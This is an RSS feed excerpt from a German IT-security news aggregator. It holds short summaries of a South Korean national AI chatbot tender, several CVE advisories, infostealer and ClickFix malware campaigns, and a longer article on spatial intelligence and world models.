<description><![CDATA[An anonymous reader quotes a report from The Register: South Korea's government has posted a tender seeking suppliers to build a universal basic AI chatbot, and an AI agent for government services. The "AI for everyone" plan calls for private entities to create and operate the AI systems under co...]]></description>
<link>https://tsecurity.de/de/3673899/it-security-nachrichten/south-korea-to-launch-universal-basic-ai-chatbot/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673899/it-security-nachrichten/south-korea-to-launch-universal-basic-ai-chatbot/</guid>
<pubDate>Thu, 16 Jul 2026 17:08:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from The Register: South Korea's government has posted a tender seeking suppliers to build a universal basic AI chatbot, and an AI agent for government services. The "AI for everyone" plan calls for private entities to create and operate the AI systems under contracts that expire in the year 2031. Bid documents reveal that Seoul will provide up to 256 Nvidia B200 GPUs to successful bidders. Winners must match government funding. The aim of the policy is to ensure that every resident of South Korea can access a free-to-use quality AI chatbot, a tool Seoul has decided no local should be without.
 
The tender also calls for creation of an agentic system that allows citizens to interact with government services. South Korea's government wants to ensure that residents can always access a locally hosted and operated service, to reduce reliance on overseas providers and ensure that AI services reflect local culture. Successful bidders must therefore use locally developed AI models as the foundation for the services. Bidders have until August 11th to file their proposals. South Korean media reports suggest local tech giants Kakao, Naver, SK Telecom, and LG are all keen to participate.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=South+Korea+To+Launch+Universal+Basic+AI+Chatbot%3A+https%3A%2F%2Fslashdot.org%2Fstory%2F26%2F07%2F16%2F0431223%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fslashdot.org%2Fstory%2F26%2F07%2F16%2F0431223%2Fsouth-korea-to-launch-universal-basic-ai-chatbot%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://slashdot.org/story/26/07/16/0431223/south-korea-to-launch-universal-basic-ai-chatbot?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[CVE-2022-3518 | SourceCodester Sanitization Management System 1.0 User Creation First Name/Middle Name/Last Name cross site scripting (EUVD-2022-42885)]]></title>
<description><![CDATA[A vulnerability was found in SourceCodester Sanitization Management System 1.0. It has been classified as problematic. Affected by this vulnerability is an unknown functionality of the component User Creation Handler. The manipulation of the argument First Name/Middle Name/Last Name leads to cros...]]></description>
<link>https://tsecurity.de/de/3673434/sicherheitsluecken/cve-2022-3518-sourcecodester-sanitization-management-system-10-user-creation-first-namemiddle-namelast-name-cross-site-scripting-euvd-2022-42885/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673434/sicherheitsluecken/cve-2022-3518-sourcecodester-sanitization-management-system-10-user-creation-first-namemiddle-namelast-name-cross-site-scripting-euvd-2022-42885/</guid>
<pubDate>Thu, 16 Jul 2026 14:25:37 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/sourcecodester:sanitization_management_system">SourceCodester Sanitization Management System 1.0</a>. It has been classified as <a href="https://vuldb.com/kb/risk">problematic</a>. Affected by this vulnerability is an unknown functionality of the component <em>User Creation Handler</em>. The manipulation of the argument <em>First Name/Middle Name/Last Name</em> leads to cross site scripting.

This vulnerability is listed as <a href="https://vuldb.com/cve/CVE-2022-3518">CVE-2022-3518</a>. The attack may be initiated remotely. In addition, an exploit is available.]]></content:encoded>
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<title><![CDATA[OkoBot Malware Uses ClickFix, Hidden Browser Extensions to Steal Crypto Data]]></title>
<description><![CDATA[Kaspersky says OkoBot targets crypto users through fake software, stealing wallet files, seed phrases and passwords while recording activity inside wallet apps. This article has been indexed from Hackread – Cybersecurity News, Data Breaches, AI and More Read the original…
Read more →
The post Oko...]]></description>
<link>https://tsecurity.de/de/3673410/it-security-nachrichten/okobot-malware-uses-clickfix-hidden-browser-extensions-to-steal-crypto-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673410/it-security-nachrichten/okobot-malware-uses-clickfix-hidden-browser-extensions-to-steal-crypto-data/</guid>
<pubDate>Thu, 16 Jul 2026 14:24:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Kaspersky says OkoBot targets crypto users through fake software, stealing wallet files, seed phrases and passwords while recording activity inside wallet apps. This article has been indexed from Hackread – Cybersecurity News, Data Breaches, AI and More Read the original…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/okobot-malware-uses-clickfix-hidden-browser-extensions-to-steal-crypto-data/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/okobot-malware-uses-clickfix-hidden-browser-extensions-to-steal-crypto-data/">OkoBot Malware Uses ClickFix, Hidden Browser Extensions to Steal Crypto Data</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[OkoBot Malware Uses ClickFix, Hidden Browser Extensions to Steal Crypto Data]]></title>
<description><![CDATA[Kaspersky says OkoBot targets crypto users through fake software, stealing wallet files, seed phrases and passwords while recording activity inside wallet apps.]]></description>
<link>https://tsecurity.de/de/3673269/it-security-nachrichten/okobot-malware-uses-clickfix-hidden-browser-extensions-to-steal-crypto-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673269/it-security-nachrichten/okobot-malware-uses-clickfix-hidden-browser-extensions-to-steal-crypto-data/</guid>
<pubDate>Thu, 16 Jul 2026 13:39:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Kaspersky says OkoBot targets crypto users through fake software, stealing wallet files, seed phrases and passwords while recording activity inside wallet apps.]]></content:encoded>
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<title><![CDATA[Hackers Pair Stolen Wallet Databases With Keychain Passwords for Offline Crypto Theft]]></title>
<description><![CDATA[A macOS-focused information stealer is combining stolen wallet databases with credentials harvested from the Apple Keychain, browsers, and Apple Notes to conduct offline cryptocurrency theft attempts. Detected by the MistEye security monitoring system, the malware appears designed for broad data…...]]></description>
<link>https://tsecurity.de/de/3672928/it-security-nachrichten/hackers-pair-stolen-wallet-databases-with-keychain-passwords-for-offline-crypto-theft/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672928/it-security-nachrichten/hackers-pair-stolen-wallet-databases-with-keychain-passwords-for-offline-crypto-theft/</guid>
<pubDate>Thu, 16 Jul 2026 11:23:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A macOS-focused information stealer is combining stolen wallet databases with credentials harvested from the Apple Keychain, browsers, and Apple Notes to conduct offline cryptocurrency theft attempts. Detected by the MistEye security monitoring system, the malware appears designed for broad data…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/hackers-pair-stolen-wallet-databases-with-keychain-passwords-for-offline-crypto-theft/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/hackers-pair-stolen-wallet-databases-with-keychain-passwords-for-offline-crypto-theft/">Hackers Pair Stolen Wallet Databases With Keychain Passwords for Offline Crypto Theft</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Hackers Pair Stolen Wallet Databases With Keychain Passwords for Offline Crypto Theft]]></title>
<description><![CDATA[A macOS-focused information stealer is combining stolen wallet databases with credentials harvested from the Apple Keychain, browsers, and Apple Notes to conduct offline cryptocurrency theft attempts. Detected by the MistEye security monitoring system, the malware appears designed for broad data ...]]></description>
<link>https://tsecurity.de/de/3672880/it-security-nachrichten/hackers-pair-stolen-wallet-databases-with-keychain-passwords-for-offline-crypto-theft/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672880/it-security-nachrichten/hackers-pair-stolen-wallet-databases-with-keychain-passwords-for-offline-crypto-theft/</guid>
<pubDate>Thu, 16 Jul 2026 11:09:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A macOS-focused information stealer is combining stolen wallet databases with credentials harvested from the Apple Keychain, browsers, and Apple Notes to conduct offline cryptocurrency theft attempts. Detected by the MistEye security monitoring system, the malware appears designed for broad data collection rather than a single targeted objective. Its collection scope includes macOS Keychain files, Safari […]</p>
<p>The post <a href="https://gbhackers.com/hackers-pair-stolen-wallet-databases/">Hackers Pair Stolen Wallet Databases With Keychain Passwords for Offline Crypto Theft</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[macOS Infostealer Steals Telegram Sessions and Replaces Ledger and Trezor Wallet Apps]]></title>
<description><![CDATA[SlowMist has uncovered a macOS information-stealing malware that can hijack Telegram sessions, collect credentials, steal cryptocurrency wallet data, and replace legitimate Ledger and Trezor applications with phishing-capable web wrappers. Detected by SlowMist’s MistEye monitoring platform, the m...]]></description>
<link>https://tsecurity.de/de/3672759/it-security-nachrichten/macos-infostealer-steals-telegram-sessions-and-replaces-ledger-and-trezor-wallet-apps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672759/it-security-nachrichten/macos-infostealer-steals-telegram-sessions-and-replaces-ledger-and-trezor-wallet-apps/</guid>
<pubDate>Thu, 16 Jul 2026 10:08:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>SlowMist has uncovered a macOS information-stealing malware that can hijack Telegram sessions, collect credentials, steal cryptocurrency wallet data, and replace legitimate Ledger and Trezor applications with phishing-capable web wrappers. Detected by SlowMist’s MistEye monitoring platform, the malware appears designed for broad data theft rather than a single targeted objective. It searches macOS Keychain data, Safari […]</p>
<p>The post <a href="https://cyberpress.org/infostealer-hijacks-telegram-wallets/">macOS Infostealer Steals Telegram Sessions and Replaces Ledger and Trezor Wallet Apps</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[ClaudeFix Campaign Abuses Shared Claude Chats to Deliver MacSync Stealer]]></title>
<description><![CDATA[A new ClickFix campaign that abuses Anthropic’s Claude platform to distribute MacSync Stealer, a macOS-targeted information stealer capable of harvesting credentials, sensitive files, and cryptocurrency wallet data. The campaign, dubbed “ClaudeFix” internally by Zscaler, marks a notable evolution...]]></description>
<link>https://tsecurity.de/de/3672721/it-security-nachrichten/claudefix-campaign-abuses-shared-claude-chats-to-deliver-macsync-stealer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672721/it-security-nachrichten/claudefix-campaign-abuses-shared-claude-chats-to-deliver-macsync-stealer/</guid>
<pubDate>Thu, 16 Jul 2026 09:53:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A new ClickFix campaign that abuses Anthropic’s Claude platform to distribute MacSync Stealer, a macOS-targeted information stealer capable of harvesting credentials, sensitive files, and cryptocurrency wallet data. The campaign, dubbed “ClaudeFix” internally by Zscaler, marks a notable evolution in ClickFix tactics, replacing typical fake CAPTCHA or browser error lures with shared Claude chat links to […]</p>
<p>The post <a href="https://cyberpress.org/claudefix-campaign-claude-macsync-stealer/">ClaudeFix Campaign Abuses Shared Claude Chats to Deliver MacSync Stealer</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[CVE-2026-25567 | WeKan up to 8.18 Card Comment Creation API models/cardComments.js authorization (EUVD-2026-5705)]]></title>
<description><![CDATA[A vulnerability described as problematic has been identified in WeKan up to 8.18. Affected by this vulnerability is an unknown functionality of the file models/cardComments.js of the component Card Comment Creation API. The manipulation results in authorization bypass.

This vulnerability is iden...]]></description>
<link>https://tsecurity.de/de/3672694/sicherheitsluecken/cve-2026-25567-wekan-up-to-818-card-comment-creation-api-modelscardcommentsjs-authorization-euvd-2026-5705/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672694/sicherheitsluecken/cve-2026-25567-wekan-up-to-818-card-comment-creation-api-modelscardcommentsjs-authorization-euvd-2026-5705/</guid>
<pubDate>Thu, 16 Jul 2026 09:38:27 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability described as <a href="https://vuldb.com/kb/risk">problematic</a> has been identified in <a href="https://vuldb.com/product/wekan">WeKan up to 8.18</a>. Affected by this vulnerability is an unknown functionality of the file <em>models/cardComments.js</em> of the component <em>Card Comment Creation API</em>. The manipulation results in authorization bypass.

This vulnerability is identified as <a href="https://vuldb.com/cve/CVE-2026-25567">CVE-2026-25567</a>. The attack can be executed remotely. There is not any exploit available.

Upgrading the affected component is recommended.]]></content:encoded>
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<title><![CDATA[CVE-2026-30623 | BerriAI LiteLLM 1.18.10 MCP Server Creation command/args os command injection (EUVD-2026-44846)]]></title>
<description><![CDATA[A vulnerability was found in BerriAI LiteLLM 1.18.10 and classified as critical. This impacts an unknown function of the component MCP Server Creation. Executing a manipulation of the argument command/args can lead to os command injection.

This vulnerability is tracked as CVE-2026-30623. The att...]]></description>
<link>https://tsecurity.de/de/3672482/sicherheitsluecken/cve-2026-30623-berriai-litellm-11810-mcp-server-creation-commandargs-os-command-injection-euvd-2026-44846/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672482/sicherheitsluecken/cve-2026-30623-berriai-litellm-11810-mcp-server-creation-commandargs-os-command-injection-euvd-2026-44846/</guid>
<pubDate>Thu, 16 Jul 2026 08:08:43 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/berriai:litellm">BerriAI LiteLLM 1.18.10</a> and classified as <a href="https://vuldb.com/kb/risk">critical</a>. This impacts an unknown function of the component <em>MCP Server Creation</em>. Executing a manipulation of the argument <em>command/args</em> can lead to os command injection.

This vulnerability is tracked as <a href="https://vuldb.com/cve/CVE-2026-30623">CVE-2026-30623</a>. The attack can be launched remotely. No exploit exists.]]></content:encoded>
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<title><![CDATA[OkoBot steckt in Wallet-Apps: Seed-Phrase-Phishing per USB-Trigger und C2-Flags]]></title>
<description><![CDATA[Stichwörter AI Artificial Intelligence Credentials Cybersecurity Electron Endpoint Hacker Hardware Wallet IT-Sicherheit Keylogging KI Künstliche ...]]></description>
<link>https://tsecurity.de/de/3672480/hacking/okobot-steckt-in-wallet-apps-seed-phrase-phishing-per-usb-trigger-und-c2-flags/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672480/hacking/okobot-steckt-in-wallet-apps-seed-phrase-phishing-per-usb-trigger-und-c2-flags/</guid>
<pubDate>Thu, 16 Jul 2026 08:08:14 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Stichwörter AI Artificial Intelligence Credentials Cybersecurity Electron Endpoint <b>Hacker</b> Hardware Wallet IT-Sicherheit Keylogging KI Künstliche ...]]></content:encoded>
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<title><![CDATA[A look at spatial intelligence and world models]]></title>
<description><![CDATA[It’s been several years since generative AI and large language models (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while diffusion models enabled generating images, music, and videos.



These generative AI models work well in the digital wor...]]></description>
<link>https://tsecurity.de/de/3672181/ai-nachrichten/a-look-at-spatial-intelligence-and-world-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672181/ai-nachrichten/a-look-at-spatial-intelligence-and-world-models/</guid>
<pubDate>Thu, 16 Jul 2026 03:48:06 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">It’s been several years since <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html" data-type="link" data-id="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">generative AI</a> and <a href="https://www.understandingai.org/p/large-language-models-explained-with">large language models</a> (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while <a href="https://www.technologyreview.com/2025/09/12/1123562/how-do-ai-models-generate-videos/">diffusion models</a> enabled generating images, music, and videos.</p>



<p class="wp-block-paragraph">These generative AI models work well in the digital world, but on their own, they have limited capabilities to comprehend the three-dimensional physical world and other spaces. This includes the objects occupying an area, how they relate to each other, tracking movement, and answering complex questions requiring an understanding of dimensions, distances, motion, and collisions.</p>



<p class="wp-block-paragraph">Spatial intelligence is an AI capability that allows models to reason about three-dimensional space. These models can generate 3D scenes of the world and other spaces. This content can then be displayed through traditional renderers, game engines, or AR/VR systems that use <a href="https://builtin.com/hardware/spatial-computing">spatial computing</a> techniques. But it’s the spatial intelligence model’s ability to connect natural language with 3D models that has the most applications in robotics, manufacturing, construction, and other physical environments.   </p>



<p class="wp-block-paragraph">Dr. Fei-Fei Li, often called the <a href="https://profiles.stanford.edu/fei-fei-li">godmother of AI</a>, published a manifesto on <a href="https://drfeifei.substack.com/p/from-words-to-worlds-spatial-intelligence">how spatial intelligence is AI’s next frontier</a>, contrasting it with LLMs. “While current state-of-the-art AI can excel at reading, writing, research, and pattern recognition in data, these same models bear fundamental limitations when representing or interacting with the physical world,” wrote Dr. Li. “Our view of the world is holistic—not just what we’re looking at, but how everything relates spatially, what it means, and why it matters. Understanding this through imagination, reasoning, creation, and interaction—not just descriptions—is the power of spatial intelligence.”</p>



<p class="wp-block-paragraph">The concept of spatial intelligence isn’t new and was described in Howard Gardner’s book, <em><a href="https://www.amazon.com/Frames-Mind-Theory-Multiple-Intelligences-ebook/dp/B004MYFV0E/">Frames of Mind</a></em>, in 1983. Recent breakthroughs, including the launch of <a href="https://marble.worldlabs.ai/">World Labs’ Marble</a> and its <a href="https://www.worldlabs.ai/blog/funding-2026">$1 billion funding round</a>, and competing approaches from <a href="https://deepmind.google/models/genie/">Google’s Genie 3</a> and <a href="https://www.nvidia.com/en-us/ai/cosmos/">Nvidia Cosmos</a>, should put spatial intelligence and world models on more R&amp;D road maps.</p>



<h2 class="wp-block-heading">What are spatial intelligence models?</h2>



<p class="wp-block-paragraph">It’s important to <a href="https://drive.starcio.com/2026/02/ai-literacy-a-leadership-guide/">develop AI literacy</a> and understand the terminology and concepts related to the physical world and 3D AI technologies: </p>



<ul class="wp-block-list">
<li>Spatial intelligence encompasses specialized approaches such as <a href="https://science.nasa.gov/science-research/ai-foundation-model-in-orbit/">geospatial models</a> for mapping the physical world and <a href="https://link.springer.com/article/10.1007/s44290-025-00342-5">building information modeling</a> (BIM) for modeling physical structures. It also extends to generative 3D, robotics, and physical reasoning applications.</li>



<li>World models are a class of <a href="https://www.ibm.com/think/topics/neural-networks">neural network architectures</a> and are currently a prominent approach to building spatial intelligence.</li>



<li><a href="https://www.infoworld.com/article/3693092/7-steps-to-take-before-developing-digital-twins.html">Digital twins</a> are live, virtual replicas of physical assets that combine 3D models with real-time sensor data. Spatial intelligence, an emerging capability of digital twins, adds natural-language prompting, generative scenario exploration, and physics-aware reasoning.</li>



<li><a href="https://treeview.studio/blog/top-examples-of-spatial-computing">Spatial computing</a> refers to digital content anchored in and interacting with physical space, sensed and rendered in three dimensions and delivered through AR/VR and mixed-reality systems.</li>
</ul>



<p class="wp-block-paragraph">“Spatial intelligence models go beyond pixels to understand the 3D structure of the world—how objects are positioned, how they move, and how they interact,” says David Fattal, founder and CTO at <a href="https://immersity.ai/">Leia</a>. “This enables applications like more realistic video generation, spatial computing interfaces, and AI systems that can reason about physical environments. As real-world 3D data becomes more available, these models will become foundational to the next generation of visual AI.”</p>



<h2 class="wp-block-heading">Monitoring the built environment</h2>



<p class="wp-block-paragraph">To better understand spatial intelligence, let’s consider physical infrastructure such as bridges and buildings. The American Society of Civil Engineers <a href="https://www.enr.com/articles/62214-infrastructure-gains-in-new-asce-report-cardbut-progress-hinges-on-post-2026-funds">estimates a $9.1 trillion investment</a> is needed from 2024 through 2033 to achieve a state of good repair. When maintenance and monitoring lag, it can lead to major failures such as <a href="https://www.ntsb.gov/news/press-releases/Pages/NR20240221.aspx">the 2022 collapse of the Fern Hollow Bridge in Pittsburgh</a>.</p>



<p class="wp-block-paragraph">Spatial intelligence and the development of digital twins may help identify issues earlier and prioritize where investments are needed. “Spatial intelligence models serve as the 4D digital blueprints for our built environment, allowing us to visualize and predict the complex interactions between aging assets and the shifting ground beneath them,” says Patrick Cozzi, chief platform officer at <a href="https://www.bentley.com/">Bentley Systems</a>. “By synthesizing disparate geospatial data into a living digital twin, these models provide the foresight necessary to mitigate the hidden risks of structural fatigue and subsurface instability.”</p>



<p class="wp-block-paragraph">There’s a significant challenge in <a href="https://www.mdpi.com/1424-8220/21/13/4336">bridge health monitoring</a> and transitioning from manual, infrequent structural inspections to leveraging sensors, digital twins, and spatial intelligence. Cozzi adds, “This integration of continuous field data moves beyond static documentation, empowering agencies to evolve from reactive repairs to proactive, resilient asset management that safeguards the long-term integrity of our most critical public systems.”</p>



<h2 class="wp-block-heading">Avoiding collisions</h2>



<p class="wp-block-paragraph">Bridges are largely static, but the real world is increasingly being occupied by autonomous systems such as self-driving cars, robots, and drones. And where there are moving systems, there is a risk of collisions.</p>



<p class="wp-block-paragraph">“Spatial intelligence models are AI systems that reason about the physical world by combining vision, sensor data, and contextual cues to understand space, motion, and object relationships,” says Sudeep George, CTO at <a href="https://imerit.net/">iMerit</a>. “The value of spatial intelligence models lies not just in perceiving an environment, but in enabling machines to act within it safely and in real time. That is especially important in robotics and autonomous systems, where decisions must be made in complex, multimodal, fast-changing settings.”</p>



<p class="wp-block-paragraph">To see one example, this tutorial for <a href="https://developer.nvidia.com/blog/simulate-robotic-environments-faster-with-nvidia-isaac-sim-and-world-labs-marble">simulating robotic environments</a> combines <a href="https://developer.nvidia.com/isaac/sim?size=n_6_n&amp;sort-field=featured&amp;sort-direction=desc">Nvidia Isaac Sim</a>, an open source robotics reference framework, with spatial intelligence in Marble from World Labs. </p>



<p class="wp-block-paragraph">Today’s collision detection systems, such as <a href="https://arxiv.org/html/2508.20892v1">those used in autonomous vehicles</a>, typically rely on modules for sensing, perception, planning, and control. Spatial intelligence models may offer improvements by assessing the collision risks of unidentified objects or by tracking objects that move out of sensor view. For example, <a href="https://waymo.com/blog/2026/02/the-waymo-world-model-a-new-frontier-for-autonomous-driving-simulation/">Waymo’s World Model</a>, built on Genie 3, is a simulator that generates complex weather conditions and other critical safety events.</p>



<p class="wp-block-paragraph">For an out-of-this-world example, James Urquhart, field CTO and technology evangelist at <a href="https://www.kamiwaza.ai/">Kamiwaza</a>, has delivered several examples of spatial intelligence applications, including one for satellite collision detection and conflict analysis. Urquhart says, “Models that specialize in these types of data sets, as well as the physics and geography of the real world, enable faster and more accurate decision-making for tasks that depend on them.”</p>



<h2 class="wp-block-heading">Applying spatial intelligence</h2>



<p class="wp-block-paragraph">Recent spatial intelligence announcements include creating 3D worlds from image or text prompts with <a href="https://www.worldlabs.ai/blog/marble-world-model">Marble</a> and simulating water physics, lighting, weather, and animal behavior with <a href="https://wavespeed.ai/blog/posts/google-deepmind-genie-3-world-model-2026/">Genie 3</a>. But difficulties remain in bringing spatial intelligence to physical-world use cases.</p>



<p class="wp-block-paragraph">“Spatial intelligence and world models are laying the groundwork for future AI agents that will be able to interact in and with our physical world,” says Jason Corso, cofounder and chief scientist at <a href="https://voxel51.com/">Voxel51</a>. “These models are significantly more challenging to develop and test, largely because the data underlying their development is complex, and it’s hard to handle all of the combinatorics involved in the physical world.”</p>



<p class="wp-block-paragraph">In addition to learning the models and prototyping with them, development and data leaders need to review the data assets that will feed spatial intelligence models. “Spatial intelligence models translate location signals into a structured understanding of the real world, but they’re only as reliable as the data beneath them,” says Dan Adams, executive vice president and general manager of Enrich at <a href="https://www.precisely.com/">Precisely</a>. “The real unlock isn’t the model—it’s the reference layer with persistent identifiers, confidence metadata, and source lineage that lets AI reason about places, not just match strings.”</p>



<p class="wp-block-paragraph">Even once applications are developed, there will be infrastructure challenges in deploying them at the edge. Ali Kayyam, principal research scientist at <a href="https://brainchip.com/">BrainChip</a>, says, “The key to unlocking spatial intelligence at scale is having the low-power, event-driven hardware that can run it at the sensor in real time where it matters most.”</p>



<h2 class="wp-block-heading">Where to get started</h2>



<p class="wp-block-paragraph">My suggestions for developers looking to get hands-on with spatial intelligence and world models:</p>



<ul class="wp-block-list">
<li>To try out Marble, review their <a href="https://docs.worldlabs.ai/api">API documentation</a> and <a href="https://www.worldlabs.ai/labs">case studies</a>, and then experiment with a <a href="https://github.com/willemhelmet/marble-api-quickstart">developer-focused React application</a>.</li>



<li>Review the Nvidia Cosmos <a href="https://developer.nvidia.com/cosmos">developer hub</a>, <a href="https://docs.nvidia.com/cosmos/latest/introduction.html">documentation</a>, and <a href="https://nvidia-cosmos.github.io/cosmos-cookbook/">cookbook</a> of case studies and learning paths.</li>



<li>You can get an overview of Genie 3, but access is currently restricted through Project Genie, which requires a <a href="https://gemini.google/subscriptions/">Google AI Ultra subscription</a>.</li>
</ul>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Source Code Hack Reveals Suno's AI Was Trained on Millions of YouTube Songs]]></title>
<description><![CDATA[The hack allegedly confirms the suspicions of record labels and artists that their music is used in the creation of AI music.]]></description>
<link>https://tsecurity.de/de/3671866/it-nachrichten/source-code-hack-reveals-sunos-ai-was-trained-on-millions-of-youtube-songs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671866/it-nachrichten/source-code-hack-reveals-sunos-ai-was-trained-on-millions-of-youtube-songs/</guid>
<pubDate>Wed, 15 Jul 2026 23:01:51 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The hack allegedly confirms the suspicions of record labels and artists that their music is used in the creation of AI music.]]></content:encoded>
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<title><![CDATA[CVE-2025-34157 | coollabsio Coolify up to 4.0.0-beta.420.6 Project Creation Workflow cross site scripting]]></title>
<description><![CDATA[A vulnerability was found in coollabsio Coolify up to 4.0.0-beta.420.6. It has been rated as problematic. Impacted is an unknown function of the component Project Creation Workflow. This manipulation causes cross site scripting.

This vulnerability is handled as CVE-2025-34157. The attack can be ...]]></description>
<link>https://tsecurity.de/de/3671846/sicherheitsluecken/cve-2025-34157-coollabsio-coolify-up-to-400-beta4206-project-creation-workflow-cross-site-scripting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671846/sicherheitsluecken/cve-2025-34157-coollabsio-coolify-up-to-400-beta4206-project-creation-workflow-cross-site-scripting/</guid>
<pubDate>Wed, 15 Jul 2026 22:51:54 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/coollabsio:coolify">coollabsio Coolify up to 4.0.0-beta.420.6</a>. It has been rated as <a href="https://vuldb.com/kb/risk">problematic</a>. Impacted is an unknown function of the component <em>Project Creation Workflow</em>. This manipulation causes cross site scripting.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2025-34157">CVE-2025-34157</a>. The attack can be initiated remotely. There is not any exploit available.

Upgrading the affected component is advised.]]></content:encoded>
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<title><![CDATA[Newegg offers some of our favorite gaming CPUs bundled with motherboards and precious RAM in a limited summer sale]]></title>
<description><![CDATA[Newegg is offering several bundles containing some of our favorite AMD CPUs, compatible motherboards, and RAM sticks at discounted prices for people looking to upgrade their rig for improved gaming and content creation performance.]]></description>
<link>https://tsecurity.de/de/3671490/windows-tipps/newegg-offers-some-of-our-favorite-gaming-cpus-bundled-with-motherboards-and-precious-ram-in-a-limited-summer-sale/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671490/windows-tipps/newegg-offers-some-of-our-favorite-gaming-cpus-bundled-with-motherboards-and-precious-ram-in-a-limited-summer-sale/</guid>
<pubDate>Wed, 15 Jul 2026 19:27:47 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Newegg is offering several bundles containing some of our favorite AMD CPUs, compatible motherboards, and RAM sticks at discounted prices for people looking to upgrade their rig for improved gaming and content creation performance.]]></content:encoded>
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<title><![CDATA[Rapid7 MDR Team Discovers New SonicWall SMA1000 Zero Days being Actively Exploited (CVE-2026-15409, CVE-2026-15410)]]></title>
<description><![CDATA[OverviewOn July 14, 2026, SonicWall published a security advisory addressing two vulnerabilities affecting SMA1000 Series remote access appliances, including the critical server-side request forgery (SSRF) vulnerability CVE-2026-15409 (CVSS 10.0) and the high-severity code injection vulnerability...]]></description>
<link>https://tsecurity.de/de/3671466/it-security-nachrichten/rapid7-mdr-team-discovers-new-sonicwall-sma1000-zero-days-being-actively-exploited-cve-2026-15409-cve-2026-15410/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671466/it-security-nachrichten/rapid7-mdr-team-discovers-new-sonicwall-sma1000-zero-days-being-actively-exploited-cve-2026-15409-cve-2026-15410/</guid>
<pubDate>Wed, 15 Jul 2026 19:24:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
